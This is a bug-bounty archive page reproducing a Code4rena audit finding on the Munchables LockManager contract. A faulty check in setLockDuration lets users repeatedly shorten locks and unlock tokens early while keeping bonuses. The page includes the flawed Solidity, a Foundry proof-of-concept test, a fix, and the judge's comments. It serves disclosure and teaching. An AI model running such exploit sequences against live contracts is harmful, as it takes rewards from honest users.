Skip to content
Business logic Audit finding Intermediate

Invalid validation allows users to unlock early

The setLockDuration function incorrectly validates the new unlock time by comparing block.timestamp + duration with the current unlockTime, but then sets unlockTime to lastLockTime + duration. This allows a user to repeatedly reduce their lock duration and unlock tokens earlier than intended, potentially receiving bonuses as if they had locked for the original period.

SpicyMeatball Follow with n4nika, Varun_05 and 48 others

Originally disclosed on Code4rena

Submitted by SpicyMeatball, also found by n4nika, Varun_05, yashgoel72, dhank, Janio, EPSec, adam-idarrha, gavfu, th3l1ghtd3m0n, rouhsamad, 0xdice91, stakog, bigtone, Walter, Bigsam, LinKenji, Stefanov, MrPotatoMagic, swizz, joaovwfreire, steadyman, itsabinashb, gajiknownnothing, tedox, Eeyore, araj, Tychai0s, trachev, merlinboii, pfapostol, Limbooo, 0xMosh, Sabit, Utsav, 0rpse, mitko1111, Oxsadeeq, jasonxiale, crypticdefense, 0xhacksmithh, ayden, AvantGard, ahmedaghadi, prapandey031, snakeeaterr, fyamf, Audinarey, sandy, 0xmystery, xyz, Mahmud, 0xblack_bird, ke1caM, leegh, Dots, Myd, 0xleadwizard, turvy_fuzz, SovaSlava, c0pp3rscr3w3r, zhaojohnson, aslanbek, and carrotsmuggler

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L257-L258 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L265-L267

Impact

Invalid validation in the setLockDuration function allows users to greatly reduce their unlock time or even unlock instantly.

Proof of Concept

When a user locks his tokens in the LockManager.sol contract, the unlockTime is calculated as block.timestamp + lockDuration.

    function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
        ---SNIP---

        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
        lockedToken.lastLockTime = uint32(block.timestamp);
>>      lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);

The lockDuration is a variable that can be configured by a user in the setLockDuration function anytime, even during the lock period.

    function setLockDuration(uint256 _duration) external notPaused {
        if (_duration > configStorage.getUint(StorageKey.MaxLockDuration))
            revert MaximumLockDurationError();

        playerSettings[msg.sender].lockDuration = uint32(_duration);
        ---SNIP---

The problem arises when existing locks are updated to the new duration.

        // update any existing lock
        uint256 configuredTokensLength = configuredTokenContracts.length;
        for (uint256 i; i < configuredTokensLength; i++) {
            address tokenContract = configuredTokenContracts[i];
            if (lockedTokens[msg.sender][tokenContract].quantity > 0) {
                // check they are not setting lock time before current unlocktime
>>              if (
                    uint32(block.timestamp) + uint32(_duration) <
                    lockedTokens[msg.sender][tokenContract].unlockTime
                ) {
                    revert LockDurationReducedError();
                }

                uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
                    .lastLockTime;
>>              lockedTokens[msg.sender][tokenContract].unlockTime =
                    lastLockTime +
                    uint32(_duration);
            }
        }

        emit LockDuration(msg.sender, _duration);
    }

There is an invalid check performed, comparing block.timestamp + _duration with the current unlockTime. However, in the end, the new unlockTime is set as lastLockTime + _duration. This allows a user to reduce their lock duration and unlock their tokens earlier than initially intended. Let’s consider this scenario:

  • Alice creates a lock for 100 days at day 0, unlockTime = 0 + 100 = 100th day
  • on the 50-th day she calls setLockDuration(51 days)
  • the contract compares 50 + 51 > 100 and sets unlockTime = 0 + 51 = 51th day

In this way, Alice can reduce her lock duration while still receiving bonuses as if she had a 100-day lock.

Check this coded POC for SpeedRun.t.sol

    function test_Early() public {
        uint256 lockAmount = 100e18;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        // lock tokens for 86400 seconds
        lm.lock{value: lockAmount}(address(0), lockAmount);
        // 10000 seconds pass, use multiple setDurations to unlock instantly
        vm.warp(10000);
        lm.setLockDuration(76401);
        lm.setLockDuration(66402);
        lm.setLockDuration(56403);
        lm.setLockDuration(46404);
        lm.setLockDuration(36405);
        lm.setLockDuration(26406);
        lm.setLockDuration(16407);
        lm.setLockDuration(6408);
        lm.unlock(address(0), lockAmount);
    }

In this test case user locked tokens for 86400 seconds and managed to unlock them after only 10000 seconds. This hack enables attacker to to receive multiple NFT drops with nftOverlord.addReveal compared to honest users.

Recommended Mitigation Steps

+               uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
                if (
+                   lastLockTime + uint32(_duration) <
                    lockedTokens[msg.sender][tokenContract].unlockTime
                ) {
                    revert LockDurationReducedError();
                }

Assessed type

Invalid Validation

0xinsanity (Munchables) confirmed and commented via duplicate issue #236:

Fixed

0xsomeone (judge) increased severity to High and commented:

The Warden outlines a misbehavior in the adjustment of a user’s default lock duration that will retroactively apply to all their pre-existing locks and may incorrectly reduce them due to an invalid security check.

The present mechanism effectively permits the lock time of an entry to be halved which is considered a significant vulnerability and one that would merit an H-risk rating.

This submission has been selected as the best as it properly clarifies that each re-adjustment of the lock time can halve the remaining lock time and that it can be repeatedly invoked to continuously reduce the lock time and exploit the system to a significant degree.

Duplicates that have been penalized by 25% (i.e. awarded 75%) have been done so due to recommending an improper mitigation that would reset locks and render the lastLockTime variable useless.

Note: For full discussion, see here.


The original report as published on Code4rena, by SpicyMeatball. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A user could reduce their lock duration and unlock tokens earlier while still receiving bonuses as if they had locked for the original period, potentially gaining more NFT drops than honest users.

What the attacker needed

A locked token position; ability to call setLockDuration

The fix

The check should compare lastLockTime + _duration with the current unlockTime, as shown in the recommended mitigation.

How it was found

  1. Lock tokens for a chosen duration, setting an initial unlock time.
  2. After some time, call setLockDuration with a new duration that passes the faulty check.
  3. The contract sets the new unlock time to lastLockTime + new duration, which may be earlier than the previous unlock time.
  4. Repeat the call to further reduce the unlock time.
  5. Unlock tokens earlier than originally intended.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you lock tokens in a contract, the contract records an unlock time. The contract lets you change how long you lock, but it checks the new duration against the wrong value. Because of that, you can keep shortening your lock and unlock your tokens much sooner than you agreed, while still getting rewards for the longer lock.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by SpicyMeatball

View all

18 more disclosed reports, best first.

More from Munchables

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.